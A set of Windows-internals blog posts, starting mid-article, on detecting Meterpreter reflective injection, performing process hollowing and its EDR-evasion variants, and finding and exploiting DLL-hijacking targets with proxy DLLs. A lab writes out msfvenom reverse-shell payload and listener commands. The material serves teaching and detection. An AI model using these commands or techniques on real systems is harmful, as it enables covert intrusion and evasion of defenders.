             → Process Hacker shows a BLANK "File" column

In Process Hacker: open the target process → Memory tab → sort by Protection → look for executable (EXECUTE_READ or EXECUTE_READWRITE) regions with blank file paths.

That blank entry in notepad.exe is your Meterpreter.

EDRs continuously scan for exactly this pattern. It is the single strongest signal of reflective injection.

Signal 2 — The PEB Gap

Reflective loader never calls LdrLoadDll. So Meterpreter's DLL is never registered in InMemoryOrderModuleList.

Process Hacker Modules tab  →  reads the PEB module list  →  Meterpreter NOT here
Process Hacker Memory tab   →  reads the VAD tree          →  Meterpreter IS here (as MEM_PRIVATE)

The gap between those two lists is the exact footprint of reflective injection. Advanced EDRs cross-reference them continuously.

Signal 3 — PAGE_EXECUTE_READWRITE (The Big Red Flag)

The reflective loader allocates memory as RWX — readable, writable, AND executable. In the same region.

Legitimate Windows behaviour almost never does this. Your .text section is PAGE_EXECUTE_READ — you can execute it but not write to it (that's a security feature). The only legitimate exceptions are JIT compilers in browsers and the .NET CLR.

An RWX region in notepad.exe? That's Meterpreter.

Better implementations do change to PAGE_EXECUTE_READ after loading. But the allocation event still fires — and EDRs watch allocation permission patterns.

Signal 4 — The migrate Event Sequence

migrate generates a very specific sequence of telemetry events in tight time correlation:

Timeline of events during migrate:
─────────────────────────────────────────────────
T+0.000s  Sysmon Event 10: meter.exe opens explorer.exe
          (with PROCESS_VM_WRITE | PROCESS_VM_OPERATION access)

T+0.001s  Sysmon Event 8: CreateRemoteThread in explorer.exe
          (thread start address = inside a MEM_PRIVATE region)
─────────────────────────────────────────────────

A process writing to another process and immediately
creating a thread in it = textbook injection signature.

A single SIEM rule correlating Events 10 and 8 within a 5-second window catches migrate almost every time.

Lab — See It Yourself

What you need: Kali with Metasploit, Windows lab VM, Process Hacker, WinDbg, CFF Explorer

Lab 1 — Find Meterpreter Living in Memory

Generate a stageless payload on Kali:

msfvenom -p windows/x64/meterpreter_reverse_tcp \
         LHOST=<your_kali_ip> \
         LPORT=4444 \
         -f exe -o meter.exe

Start a listener:

use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set LHOST <your_kali_ip>
set LPORT 4444
run

Run meter.exe on your Windows VM. Get the session. Then on the Windows VM:

Open Process Hacker → find meter.exe → right-click → Properties → Memory tab
Sort by the Protection column
Look for a region marked RWX or RX with nothing in the File column

Questions to answer yourself:

What type is that region — MEM_PRIVATE or MEM_IMAGE?
Does it show up in the Modules tab?
What is its base address?

Lab 2 — The PEB Gap (WinDbg)

Attach WinDbg to the meter.exe process. Run:

!peb

Read the loaded module list it prints. Scan for Meterpreter. It won't be there.

Now run:

!address -f:MEM_PRIVATE

Find executable private memory regions. You'll see the Meterpreter allocation. In memory, fully functional, completely invisible to the PEB.

The gap between those two outputs = the footprint of reflective injection.

Lab 3 — See Relocations in CFF Explorer

Open C:\Windows\System32\version.dll in CFF Explorer:

Optional Header → find Image Base — write it down
Section Headers → find .reloc section — see how large it is
Now open Process Hacker → Modules tab → find version.dll → look at its actual load address

Calculate:

delta = actual_load_address - ImageBase

This delta is what the OS loader computed and added to every relocation entry when loading this DLL. The reflective loader computes this exact same number for Meterpreter's DLL at runtime.

The Bigger Picture

Let's zoom out.

The reflective loader isn't magic. It isn't some mystical bypass that exploits a Windows vulnerability. It's just a reimplementation of five things ntdll.dll already does — written in position-independent code, embedded inside the DLL itself.

Find yourself. Find kernel32. Allocate memory. Copy sections. Patch relocations. Resolve imports. Call DllMain.

Every step maps directly to something Windows normally does with a file. The reflective loader does the same steps without the file.

That's the insight worth taking from this entire blog:

Meterpreter doesn't bypass the loading process. It replaces it.

And once you understand what that loading process actually is — what LoadLibrary does under the hood, why relocations exist, how the IAT works — the reflective loader becomes completely readable. There's no mystery left. Just Windows internals applied very cleverly.

This blog is part of an ongoing Windows internals series. Every post builds on the previous one — start from Blog 1 for the full foundation.

Process Hollowing from First Principles — No Tools, Just Windows API

nimesh nakum — Fri, 03 Jul 2026 04:25:44 +0000

How attackers gut a legitimate process before it runs a single instruction — and what that leaves behind

If you describe process hollowing as "injecting code into a legitimate process," you've already misunderstood it. That framing is wrong in a way that matters operationally.

You're not injecting into a running process. You're creating a new process in a suspended state, destroying the file-backed mapping of its legitimate image before any user-mode instruction has executed, replacing that memory with your payload, and then releasing the thread. The OS never learned that anything changed. The process name, PID ancestry, and integrity token all belong to the legitimate binary. The code executing is entirely yours.

Windows does not enforce consistency between identity, memory, and execution — and hollowing lives entirely in that gap.

That's the philosophical core of the technique, and it's exactly why it has persisted as an offensive primitive for over a decade despite widespread defender awareness.

Prerequisites: What You Need to Internalize First

The PEB and ImageBaseAddress

Every Windows process carries a Process Environment Block (PEB) — a user-mode structure maintained by ntdll that tracks the image base, loaded module list, loader state, and process parameters. On x64, ImageBaseAddress lives at offset 0x10 into the PEB.

This is what the attacker reads to locate the legitimate image in the target's address space, and what they patch after writing the payload to maintain surface-level consistency.

The PEB's Ldr field — a pointer to PEB_LDR_DATA — is equally important and frequently overlooked. It contains three doubly-linked lists (InLoadOrderModuleList, InMemoryOrderModuleList, InInitializationOrderModuleList) that track every loaded module.

At the point where hollowing executes — immediately after CreateProcess returns — Ldr is initialized but the loader lists are not yet populated with the main image's LDR_DATA_TABLE_ENTRY. The loader hasn't run. The PEB already reflects an inconsistent state before the attacker touches anything: ImageBaseAddress points to the mapped image, but no corresponding loader list entry exists for it.

After hollowing, this compounds further. The image at ImageBaseAddress no longer exists. A tool that walks the loader lists and resolves ImageBaseAddress finds anonymous private memory with no file backing.

The VAD Tree: MEM_IMAGE vs MEM_PRIVATE

The kernel manages each process's virtual address space through the Virtual Address Descriptor (VAD) tree — a red-black tree in EPROCESS where each node describes a virtual memory region. The VAD node's type field is the critical distinction:

VadImageMap → file-backed image mappings → MEM_IMAGE
VadNone / private committed → anonymous allocations → MEM_PRIVATE

Legitimate PE loading always produces MEM_IMAGE regions. The kernel tracks the file reference through a CONTROL_AREA structure linked to the VAD node's Subsection — this is what allows GetMappedFileName to return a file path and what allows scanners to compare the in-memory image against the on-disk version.

When you call NtUnmapViewOfSection and then VirtualAllocEx, you destroy that file-backed region and replace it with anonymous private memory. The VAD tree shows a committed private region at the executable's former base — no file path, no CONTROL_AREA, no disk backing. This is the primary forensic artifact hollowing leaves behind, and it's structural.

The PE Structure and the Section Mapping Problem

The PE file on disk is not a direct memory image. Data is packed using file-alignment (typically 512 bytes), referenced by PointerToRawData. In memory, sections are mapped to their VirtualAddress relative to the image base, aligned to the allocation granularity (typically 4096 bytes). These are different numbers.

Writing payload sections at file offsets rather than virtual offsets is the single most common failure mode in beginner hollowing implementations. The result is an immediate access violation at thread resume. Every section must be written at ImageBase + SectionHeader.VirtualAddress, not ImageBase + SectionHeader.PointerToRawData.

Hollowing vs. Classic Process Injection

Feature	Classic Process Injection	Process Hollowing
Target state	Already running process	Newly created, suspended process
Core operation	Allocate + write + create remote thread	Unmap image + write payload + modify thread context
Memory type	`MEM_PRIVATE` in a live process	Replaces `MEM_IMAGE` with `MEM_PRIVATE`
Key APIs	`OpenProcess`, `VirtualAllocEx`, `WriteProcessMemory`, `CreateRemoteThread`	`CreateProcess` (suspended), `NtUnmapViewOfSection`, `SetThreadContext`, `ResumeThread`
EDR surface	Remote thread creation — high signal	VAD mutations and memory-type transitions

The Seven Steps: Mechanism and Internals

Step 1 — CreateProcess with CREATE_SUSPENDED

The attacker calls CreateProcessW targeting a legitimate, signed system binary — svchost.exe, RuntimeBroker.exe, notepad.exe. The target choice isn't cosmetic. The goal is to inherit the binary's reputation, token, and module load visibility.

Internally, CreateProcessW transitions to NtCreateUserProcess. The kernel executes in precise order:

Object creation: EPROCESS and ETHREAD (main thread) are allocated. Handle table initialized.

Section creation: MmCreateSection is called on the executable file, producing a section object backed by the file. The section references a CONTROL_AREA, which references the file object.

Address space setup: MmMapViewOfSection maps the image into the new process. The resulting VAD node is VadImageMap. Any address within this range returns MEM_IMAGE. The ControlArea field in the node links back to the original file — this is what makes the image path resolvable.

PEB initialization: MmCreatePeb sets ImageBaseAddress, ProcessParameters, and the Ldr pointer. The loader lists are initialized but not populated.

Thread setup: The initial thread's trap frame is prepared. On x64, the thread begins at RtlUserThreadStart in ntdll — not at AddressOfEntryPoint. This distinction matters critically in Step 5.

Thread state: Suspend count = 1. The thread waits.

At this point: valid EPROCESS, valid PEB, legitimate MEM_IMAGE covering the executable, a thread that has never executed a single instruction in user mode. No TLS callbacks. No DllMain. No EDR hooks initialized in this process yet.

This is the cleanest interception window in the Windows process lifecycle.

Step 2 — Reading the PEB to Find ImageBaseAddress

The attacker calls NtQueryInformationProcess with ProcessBasicInformation, returning a PROCESS_BASIC_INFORMATION structure containing PebBaseAddress — the PEB address in the target's virtual address space.

ReadProcessMemory pulls the PEB from the target. At offset 0x10 on x64 (confirmed against the _PEB symbol in the public PDB) lies ImageBaseAddress — the base of the MEM_IMAGE region that's about to be destroyed.

Guessing the base using the PE's preferred ImageBase is an option only for non-ASLR binaries. For everything else, the PEB read is the only reliable path.

Step 3 — NtUnmapViewOfSection: The Actual Hollowing

NtUnmapViewOfSection(processHandle, ImageBaseAddress) removes the section mapping for the legitimate executable from the target's address space.

The kernel walks the target's VAD tree, finds the VadImageMap node at ImageBaseAddress, and removes it. The CONTROL_AREA reference count decrements. Physical pages are dereferenced. The address range becomes MEM_FREE.

The forensic transition is precise:

Before the call: MEM_IMAGE, file-backed, path-resolvable
After the call: MEM_FREE
After Step 4's VirtualAllocEx: MEM_PRIVATE — anonymous, no CONTROL_AREA, no path

This is where hollowing becomes visible to any scanner that checks the VAD.

Failure mode: NtUnmapViewOfSection returns STATUS_INVALID_PARAMETER if the handle lacks PROCESS_VM_OPERATION access, or if the region was mapped with incompatible sharing flags (rare for a freshly suspended process, but possible in constrained environments).

Step 4 — VirtualAllocEx and WriteProcessMemory

VirtualAllocEx at the payload's preferred ImageBase with MEM_COMMIT | MEM_RESERVE and PAGE_EXECUTE_READWRITE. A new VadNone node is inserted — anonymous private memory. VirtualQuery on this range now returns MEM_PRIVATE. The transformation is complete.

WriteProcessMemory loads the payload in two passes:

Headers first. Write the DOS header, NT headers, and section headers at the base. Some payloads reference their own headers at runtime — skipping this breaks them.

Sections at virtual offsets. For each section: write raw data to AllocatedBase + SectionHeader.VirtualAddress. Sections smaller than VirtualSize leave zeroed padding — expected behavior. Sections that exceed SizeOfRawData boundaries require boundary checking to avoid clobbering adjacent sections.

Relocation handling is where most implementations fail silently. If VirtualAllocEx returns a different address than the payload's preferred ImageBase — because that range is unavailable — every absolute address in the payload is wrong by ActualBase - PreferredBase. The .reloc section exists precisely for this: walk the Base Relocation Table, compute the delta, patch each referenced address before resuming.

If the payload was compiled with /FIXED or had its relocation table stripped by the packer, and the base differs, the process crashes on the first absolute reference. This is not an edge case — it's one of the most common failure modes in real-world hollowing.

Step 5 — SetThreadContext: Redirecting Execution

The suspended thread's instruction pointer still targets RtlUserThreadStart in ntdll. The legitimate entry point it was about to call no longer exists.

GetThreadContext with CONTEXT_FULL retrieves the complete register snapshot from the thread's TrapFrame and KTHREAD->KernelStack.

Here's the nuance most write-ups get wrong. On x64, the initial Rip is RtlUserThreadStart, not AddressOfEntryPoint. Its signature: VOID RtlUserThreadStart(PUSER_THREAD_START_ROUTINE Function, PVOID Parameter). The entry point is passed in RCX, the parameter in RDX. The attacker patches RCX to PayloadBase + AddressOfEntryPoint — not Rip directly.

Setting Rip to the entry point bypasses RtlUserThreadStart entirely. No SEH frame setup. No stack alignment initialization. The payload crashes inside the CRT before running a single line of its own code.

SetThreadContext applies the modified context. The kernel updates the thread's trap frame. When the thread resumes, RtlUserThreadStart runs normally — calling the payload's entry point instead of the original binary's.

Step 6 — Patching PEB->ImageBaseAddress

The PEB still holds the ImageBaseAddress of the original binary — a region that no longer exists. Any tool reading that field and calling VirtualQuery on it finds MEM_FREE. An obvious anomaly.

WriteProcessMemory overwrites the 8 bytes at PebBaseAddress + 0x10 with the payload's actual load address. The process is now internally consistent at the PEB level.

What this step does not fix: the loader list inconsistency. No LDR_DATA_TABLE_ENTRY for the payload is ever inserted. The loader never ran. Module enumeration via the PEB lists returns an empty list — the payload executes in a process whose own loader structures don't acknowledge it exists.

Step 7 — ResumeThread

ResumeThread decrements the suspend count to zero. The scheduler picks up the thread. It resumes at RtlUserThreadStart, which calls the patched RCX — the payload's entry point. The payload runs inside a process that, from the OS's perspective, is entirely legitimate.

The sequence is complete. The process has the right name, the right token, and the wrong code.

Broken Invariants: The Real Story

Hollowing is best understood not as code injection, but as desynchronization between a process's identity, its memory, and its execution. Three invariants Windows implicitly assumes are violated simultaneously.

Memory Invariant — MEM_IMAGE Must Have a Backing File

When the kernel creates a MEM_IMAGE region, it does so through a section object tied to a file. The CONTROL_AREA in the VAD node maintains that reference — enabling VirtualQuery to return MEM_IMAGE, GetMappedFileName to return a path, and scanners to compare the live image against disk.

After hollowing: the region at the executable's base is MEM_PRIVATE. No CONTROL_AREA. No file reference. No resolvable path. This is the invariant module stomping specifically addresses by reusing an already-mapped DLL's MEM_IMAGE region — keeping the file backing while replacing the content.

Loader Invariant — The LDR Lists Must Reflect Loaded Modules

PEB->Ldr maintains three circular doubly-linked lists that are the authoritative source for EnumProcessModules, GetModuleHandle, and every debugger. Under normal operation, the main executable has a corresponding LDR_DATA_TABLE_ENTRY linking it to the file on disk, its image base, and its name.

After hollowing: no LDR_DATA_TABLE_ENTRY for the payload exists. The loader never ran to create one. The payload's code executes in a process whose own loader structures don't acknowledge it.

Execution Invariant — Code Must Execute From a Named Module

On a healthy Windows system, every return address on every thread's call stack resolves to a named module with a resolvable path. Frames in anonymous private memory are a high-confidence anomaly signal.

After hollowing: the thread executes entirely within MEM_PRIVATE. Every frame in the call stack is an orphaned frame — no module name, no file path, no loader entry.

These three violations — memory type mismatch, absent loader entry, execution in untracked memory — are the structural fingerprint of hollowing. Patching PEB->ImageBaseAddress in Step 6 fixes none of them. It's cosmetic. The invariant violations persist underneath.

What EDR Actually Sees

Knowing what's visible is operationally relevant — because it determines exactly what evasion is necessary.

The Behavioral Sequence, Not Individual APIs

No single API in the hollowing chain is inherently malicious. CreateProcess, NtQueryInformationProcess, ReadProcessMemory, NtUnmapViewOfSection, VirtualAllocEx, WriteProcessMemory, SetThreadContext, ResumeThread — each has legitimate uses in isolation.

What behavioral engines watch is the sequence and temporal proximity: a process creates a suspended child, immediately queries its PEB, reads from its address space, unmaps a region at the address extracted from that PEB, allocates at the same address, writes a PE-sized payload, modifies the thread's RCX register, and resumes.

This sequence is the signature. Everything else is optional.

That behavioral chain, against a single target handle within a narrow time window, is near-unambiguous — even without a single malicious API call in isolation.

Memory State Transitions

ETW providers Microsoft-Windows-Kernel-Memory and Microsoft-Windows-Kernel-Process emit events for virtual memory operations. An EDR consuming these watches a specific VAD mutation sequence: MEM_IMAGE at the image base disappears, immediately replaced by MEM_PRIVATE at the same address, followed by cross-process writes from the parent into that range.

MEM_IMAGE → MEM_FREE → MEM_PRIVATE at a freshly created process's image base has no legitimate explanation.

VAD Anomalies

Kernel-mode sensors with direct EPROCESS access query the VAD tree directly — bypassing all user-mode evasion. They check the VAD node at PEB->ImageBaseAddress: VadImageMap or VadNone? If it's private, and the thread's RIP falls within that range, the process is hollowed. This check is entirely kernel-side, invisible to the attacker's user-mode code.

Thread Anomalies

Some EDRs snapshot the expected RCX value — derived from AddressOfEntryPoint + ImageBase via NtQueryInformationProcess — at process creation and compare it against the actual thread context at ResumeThread. A mismatch pointing into a MEM_PRIVATE range is flagged immediately.

Once the thread is running, periodic kernel-side stack sampling finds frames in MEM_PRIVATE with no resolvable module. Every such frame is a strong behavioral indicator independent of the creation-time signals.

The Sysmon Telemetry Gap

Default Sysmon configurations don't generate events for NtUnmapViewOfSection or NtWriteVirtualMemory. Not an oversight — these are high-volume operations. This gap is part of why hollowing remains viable against Sysmon-only detection stacks. The artifacts exist in kernel ETW and memory scanners, but log-based SIEM detections built on Sysmon alone miss the core VAD mutation entirely.

Evasion Variants

RW → VirtualProtect → RX Instead of RWX

Allocate PAGE_READWRITE. Write all sections. Call VirtualProtectEx to transition executable sections to PAGE_EXECUTE_READ. This removes the PAGE_EXECUTE_READWRITE region that most EDR behavioral rules aggressively target. The MEM_PRIVATE anomaly remains — this doesn't address the core forensic artifact — but it eliminates the most over-signatured permission combination. One extra API call. Worth it.

Module Stomping

The direct evolutionary response to MEM_PRIVATE detection. Force a legitimate DLL to load into the target process via a remote LoadLibraryA or queued APC. This creates a real MEM_IMAGE region with genuine file backing. Then overwrite that region with your payload via WriteProcessMemory.

The VAD node stays VadImageMap. VirtualQuery returns MEM_IMAGE. GetMappedFileName returns the DLL's path. The code in that memory is yours. This defeats the primary forensic indicator — at the cost of a new one: the in-memory image no longer matches the file on disk, detectable by scanners that hash-compare live image regions against disk.

Early Bird APC Injection

Queue an APC to the suspended main thread before ResumeThread instead of modifying the thread context. The APC executes when the thread first becomes alertable — before any EDR's DLL_PROCESS_ATTACH hooks initialize in the new process. Execution occurs entirely outside user-mode hook coverage. The memory-type artifacts remain, but the execution timeline shifts in a way that defeats hook-based behavioral engines.

Failure Modes in Practice

Relocation failures. If VirtualAllocEx returns a different address than the payload's preferred ImageBase, every absolute address is wrong by ActualBase - PreferredBase. Without a relocation table — common with packed or stripped payloads — the process crashes on the first absolute reference. Fix: force the same base, or implement relocation table parsing.

TLS callbacks. Host binaries with Thread Local Storage callbacks expect those to run during loader initialization. They won't. In most scenarios, targeting binaries without TLS (the majority of simple system binaries) avoids this entirely.

Import resolution. At the point ResumeThread fires, only ntdll.dll is guaranteed to be mapped in the new process — the kernel loads it first for every process. kernel32.dll and kernelbase.dll are not yet present. Payloads that assume a populated IAT crash immediately. Payloads that resolve their own imports (standard in staged loaders and shellcode) do not.

ASLR and preferred bases. The host binary's actual load address may differ from its ImageBase in the NT headers. Reading the actual base from the PEB handles this. Computing the payload entry point from the preferred ImageBase instead of the actual allocated address produces a wrong entry point and a clean crash.

The Core Artifact and What Comes Next

NtUnmapViewOfSection followed by VirtualAllocEx at the same address is structurally self-revealing. It destroys a MEM_IMAGE region backed by a legitimate file and replaces it with anonymous private memory. Every memory scanner, every kernel-side VAD query, every GetMappedFileName call on the base address surfaces the inconsistency.

The attack is powerful against detection stacks that don't perform this cross-reference. Against those that do, the artifact is definitional — built into the technique's core mechanism.

The next logical question: what if you never called NtUnmapViewOfSection at all? What if you hijacked memory that's already a legitimate MEM_IMAGE region — one with a real file path that passes every scanner check, a real CONTROL_AREA, a real disk backing? That's module stomping, one rung up the same ladder.

Hollowing isn’t stealth. It’s inconsistency. And inconsistency is exactly what defenders learn to hunt.

Below that rung is DLL Hijacking — exploiting the loader's own search-order behavior to make Windows load your code as a legitimate library, without touching an existing process at all. A design decision baked into the Windows loader since the early 1990s that still can't be fully patched without breaking legacy application compatibility.

That's next.

The proof-of-concept implementation is available in the windows-kernel-internals-lab repository.

DLL Hijacking — Three Variants with ProcMon Methodology

nimesh nakum — Wed, 10 Jun 2026 04:27:53 +0000

what if you didn't need to hollow anything? What if Windows itself loads your malicious code, willingly, through its own loader? That's DLL hijacking — the OS doing your dirty work.

How Windows Finds DLLs — The Search Order

when a process calls :

LoadLibrary("example.dll");

Windows now has a problem:

“Where exactly is example.dll located?”

Because only a filename was given — not a full path.

So the Windows Loader (LdrLoadDll inside ntdll.dll) begins searching through multiple locations in a specific order.

That search order is what attackers abuse.

There are Basically Two categories :

Standard Search Locations Normal DLL resolution path
Special Search Locations Extra trusted/preferred/forced locations used by Windows

Phase 1: Special Search Locations

Before scanning the physical directories on your hard drive, Windows checks several internal, memory-based, or configuration-based mechanisms to see if the DLL is already handled:

DLL Redirection: Windows first checks if a specific redirection file or rule exists for the application.( If a .local file or app.exe.local folder exists alongside the application, Windows redirects DLL loads to that location )
API Sets: It then checks if the requested DLL is an API Set name that needs to be resolved to a physical DLL.
- When an app requests something like api-ms-win-core-processthreads-l1-1-0.dll, the API Set schema maps it to the real DLL (kernelbase.dll or similar) before any filesystem search happens.
- You can't hijack an API Set dependency with a dropped file — it never reaches the filesystem.
SxS Manifest Redirection: The system checks Side-by-Side (SxS) manifests to see if the application requires a specific version of the DLL.
- If it does, Windows loads from the WinSxS store — again, bypassing the filesystem search entirely.
Loaded-Module List: Windows checks if the requested DLL is already loaded into the current process's memory space.
- If the DLL is already loaded in the process — already present in InMemoryOrderModuleList — the loader returns the existing mapping. No disk access at all.
- This is why injecting a DLL once makes subsequent LoadLibrary calls for the same name return your version — it's already in the list.
Known DLLs: It checks a pre-defined registry list of core Windows DLLs. If it's a "Known DLL," Windows will always use the system copy, preventing hijacking of critical files.

- The kernel pre-maps a set of critical system DLLs at boot and stores them as named section objects under `\KnownDLLs`. When the loader encounters a DLL name that matches, it maps directly from that section object. The filesystem is never consulted.

-  This is why you cannot hijack `ntdll.dll`, `kernel32.dll`, `user32.dll`, or `kernelbase.dll` by dropping a file anywhere — they are resolved before the filesystem search begins.

- You can see the full `KnownDLLs` list yourself:

Sysinternals WinObj → navigate to \KnownDLLs

Package Dependency Graph of Process: It checks the dependency graph for the specific application package, Before Standard Locations.

If the DLL hasn't been found or resolved in the first phase, Windows moves on to querying directories on the disk. This is where the majority of standard DLL hijacking opportunities arise. It searches in this exact order:

Application's Directory: The folder from which the executable file was launched.
- The application's own directory comes first — before System32, before anything else. This was intentional.
- Applications in the Windows 95 era were expected to ship their own DLL versions alongside their executables, and Windows needed to respect that. That backward-compatibility decision has never been reversed.

Why attackers care: if an application's directory is writable by a non-admin user — which is common for software installed under Program Files with weak ACLs, or anything in a user-controlled path — you can place a DLL there and the loader picks it up before the legitimate copy in System32 is ever checked.

C:\Windows\System32: The primary system directory.
C:\Windows\System: The legacy system directory.
C:\Windows: The main Windows directory.
Current Directory: The directory the process is currently executing in (which can sometimes be different from the application's launch directory).
Directories Listed in PATH Variable: Finally, if it hasn't found the DLL anywhere else, Windows sweeps through all the directories specified in the system's %PATH% environment variable.

Safe DLL Search Mode slightly adjusts this standard list by deprioritizing the current working directory, moving it later in the order. It's enabled by default:

HKLM\SYSTEM\CurrentControlSet\Control\Session Manager
SafeDllSearchMode = 1

It protects against working-directory attacks specifically. The application directory is untouched — it stays first. Safe DLL Search Mode is a partial mitigation that addresses one variant of the problem while leaving the most practical variant completely open.

Understanding this full picture matters because it tells you exactly which DLLs are hijackable and which aren't — before you touch ProcMon.

If a DLL name appears in KnownDLLs or gets resolved via API Sets, no dropped file will intercept it. Everything else is fair game.

The exact DLL search order varies depending on:

SafeDllSearchMode
whether LoadLibraryEx is used
SxS activation contexts
packaged application behavior
custom DLL directories

The order above reflects the common unpackaged desktop application search behavior when no custom loader flags are specified.

Common DLL Hijacking Implementations

The three most common techniques attackers use are DLL side-loading, DLL search order hijacking and phantom DLL loading. The most common technique is DLL side-loading

DLL Search Order Hijacking

This implementation exemplifies the core abuse of the entire Windows DLL search order.

This technique simply leverages the Windows DLL search order to drop a malicious DLL in any of its searched locations that would cause a vulnerable, legitimate program to execute a malicious DLL.

An attacker can place a malicious DLL in a location prioritized by the DLL search order before the location of a valid DLL.

This can happen at any point in the DLL search order, including the PATH environment variable, which attackers can modify by adding a path directory with a malicious DLL.

An example of this type of attack is to drop a malicious DLL in a Python installation directory to hijack the DLL search order.

When Python is installed on a Windows machine, it often adds its installation directory to the PATH environment variable, usually in one of the first searched locations.

Python folders in the PATH environment variable

Installing Python on a Windows host creates a directory with relaxed permissions, allowing any authenticated user (including unprivileged ones) to write to this location.

This gives attackers the best conditions to execute their DLL search order hijack attack and infect the targeted machine.

Phantom DLL Loading

In this technique, attackers look for a vulnerable executable that attempts to load a DLL that simply doesn't exist (or is missing) due to an implementation bug.

Then, attackers will plant a malicious DLL with the non-existent DLL’s filename in its expected location.

A familiar example of this technique is the abuse of the Windows Search (WSearch) Service.
This service is responsible for search operations and it launches with SYSTEM privileges upon system startup.(Historical)

When this service starts, it executes SearchIndexer.exe and SearchProtocolHost.exe, which both attempt to load msfte.dll from S*ystem32* . In default Windows installations, the file does not exist in this location.

An adversary can plant their malicious DLL if they can write to the System32 folder or an alternate DLL search order location, or insert another attacker-controlled location into the PATH environment variable.

This allows them to gain a stealthy pathway for execution with SYSTEM privileges, and a means to maintain persistence on the machine.

DLL Side-Loading

In this most commonly used DLL-hijacking technique, an attacker obtains a legitimate executable that loads a specifically named DLL without specifying the DLL file's full directory path.

DLL side-loading uses a malicious DLL renamed to the same filename of a legitimate DLL, one normally used by a legitimate executable.

Attackers drop the legitimate executable and a malicious, renamed DLL within a directory they have access to.

In DLL side-loading, the attackers rely on the fact that the executable’s directory is one of the first locations Windows searches for.

Finding Candidates with ProcMon — The Methodology

Knowing the three variants is theory. ProcMon is where theory becomes a target list.

Process Monitor captures every filesystem operation a process makes in real time — including every DLL load attempt, successful or not. The ones that fail are your attack surface.

A failed DLL load means Windows looked for something, didn't find it, and moved on. That's your opening.

Setting Up the Filter

Open ProcMon and set these two filters before launching your target application:

Result    is    NAME NOT FOUND
Path      ends with    .dll

This cuts through the noise. You're left with only the DLL requests that the loader made and got nothing back for.

Every single line in that filtered output is a location where Windows expected a DLL and found empty space.

Now launch your target application with ProcMon running.

Reading the Output

Each line in ProcMon tells you three things:

Process Name    →    which executable made the request
Path            →    full path Windows searched
Result          →    NAME NOT FOUND

The Path column is what matters. It tells you exactly where the loader looked. Cross-reference that path with two questions:

1. Is this location writable by a non-admin user?

icacls "C:\Path\To\Directory"

Look for (W) or (F) next to any non-admin group — BUILTIN\Users, Everyone, INTERACTIVE. If it's there, you can drop a file there without elevation.

2. Does a legitimate version of this DLL exist elsewhere on the system?

where /R C:\Windows version.dll

If it exists in System32 but the app searched its own directory first and got NAME NOT FOUND — that's a Search Order Hijacking candidate. The real DLL exists, but the app checked a writable location before finding it.

If the DLL doesn't exist anywhere on the system — that's a Phantom DLL candidate. Nothing to compete with. You're filling a void.

Identifying Side-Loading Candidates

Side-loading candidates don't always show up as NAME NOT FOUND. Sometimes the application successfully loads a DLL — but from a location you can influence.

Add a second filter alongside your existing ones:

Operation    is    Load Image

Now look for DLLs loading from the application's own directory. If that directory has weak ACLs and the DLL being loaded isn't in KnownDLLs — you have a side-loading candidate. The app is already loading from a controllable location. You just need to replace what's there with a proxy.

Turning a Finding into a Confirmed Target

Not every NAME NOT FOUND result is exploitable. Before you build a DLL, confirm three things:

The directory is writable:

icacls "C:\Program Files\TargetApp\"

The DLL name isn't in KnownDLLs:

WinObj → \KnownDLLs → check if the name appears

The application actually uses the DLL in a meaningful code path — not just at startup and never again. A DLL loaded once at launch and then ignored means your payload executes once. A DLL loaded repeatedly means repeated execution opportunities.

Once all three are confirmed, you have a legitimate target. The next step is building something that loads into it without breaking the application — which is where the proxy DLL comes in.

The Proxy DLL — Don't Break What You're Hijacking

Finding a candidate is half the work. The other half is making sure your DLL doesn't crash the application the moment it loads.

Here's the problem most people run into on their first attempt.

You found a candidate. Some application tries to load version.dll from its own directory. That directory is writable. version.dll isn't in KnownDLLs. You compile a basic DLL that runs your payload in DllMain, name it version.dll, drop it in the directory, and launch the application.

Two things can happen:

Application loads → payload executes → application keeps running.

Application loads → payload executes → application immediately crashes.

Scenario B happens more often than you'd expect. And a crashed application is a problem — not because it's a technical failure, but because a crashed application is noise. The user notices. On a real engagement, that's the one thing you can't afford.

So why does it crash?

The Export Table Problem

When an application loads a DLL, it doesn't just load it and move on. It calls specific exported functions from that DLL throughout its lifetime.

version.dll is the Windows Version API library. Applications use it to check file version information. Functions like:

GetFileVersionInfoA
GetFileVersionInfoSizeW
VerQueryValueA
VerQueryValueW

When the application calls LoadLibrary("version.dll"), Windows loads your DLL. Fine. But then at some point, the application calls GetFileVersionInfoSize(). It looks for that function in the loaded version.dll — which is your DLL. Your DLL doesn't export it. Windows returns NULL. The application tries to call a NULL function pointer.

That's your crash.

Every DLL has an export table — a list of functions it makes available to any process that loads it. You can see it with:

dumpbin /exports C:\Windows\System32\version.dll

ordinal  name
      1  GetFileVersionInfoA
      2  GetFileVersionInfoByHandle
      3  GetFileVersionInfoExA
      4  GetFileVersionInfoExW
      5  GetFileVersionInfoSizeA
      6  GetFileVersionInfoSizeW
      9  GetFileVersionInfoW
     16  VerQueryValueA
     17  VerQueryValueW

Every function in that output is something the application might call. If your DLL doesn't export them, any call to them crashes the application.

This is the exact problem a proxy DLL solves.

What a Proxy DLL Actually Does

Your DLL needs to satisfy two requirements at the same time:

Execute your payload
Export every function the application expects — and make those functions actually work

The proxy pattern handles both. Your DLL intercepts the load, runs your payload, and then forwards every function call transparently to the real DLL in System32.

Application calls GetFileVersionInfoA()
        ↓
Your version.dll (proxy)
  → DllMain fires → your payload executes
  → GetFileVersionInfoA() forwarded to real version.dll
        ↓
C:\Windows\System32\version.dll
        ↓
Returns valid result to application

The application called GetFileVersionInfoA, got a valid result, and kept running. Your payload already executed silently before any of that happened. The application never noticed anything changed.

DllMain — Where Your Code Lives

Every DLL has a DllMain function. This is the entry point the Windows loader calls automatically the moment your DLL is mapped into the process. You don't trigger it — Windows does.

BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved) {
    if (dwReason == DLL_PROCESS_ATTACH) {
        // your payload runs here
    }
    return TRUE;
}

DLL_PROCESS_ATTACH fires exactly once — the instant the loader maps your DLL into the process address space. Before the application gets control back from LoadLibrary. Before it calls a single exported function.

The execution order is:

Application calls LoadLibrary("version.dll")
        ↓
Loader maps your DLL into process memory
        ↓
Loader calls DllMain(DLL_PROCESS_ATTACH) ← your payload runs here
        ↓
LoadLibrary returns handle to your DLL
        ↓
Application calls exported functions on your DLL
        ↓
Your exports forward calls to real version.dll
        ↓
Application gets valid results, keeps running

You return TRUE from DllMain. The loader considers the DLL successfully initialized. Everything continues normally.

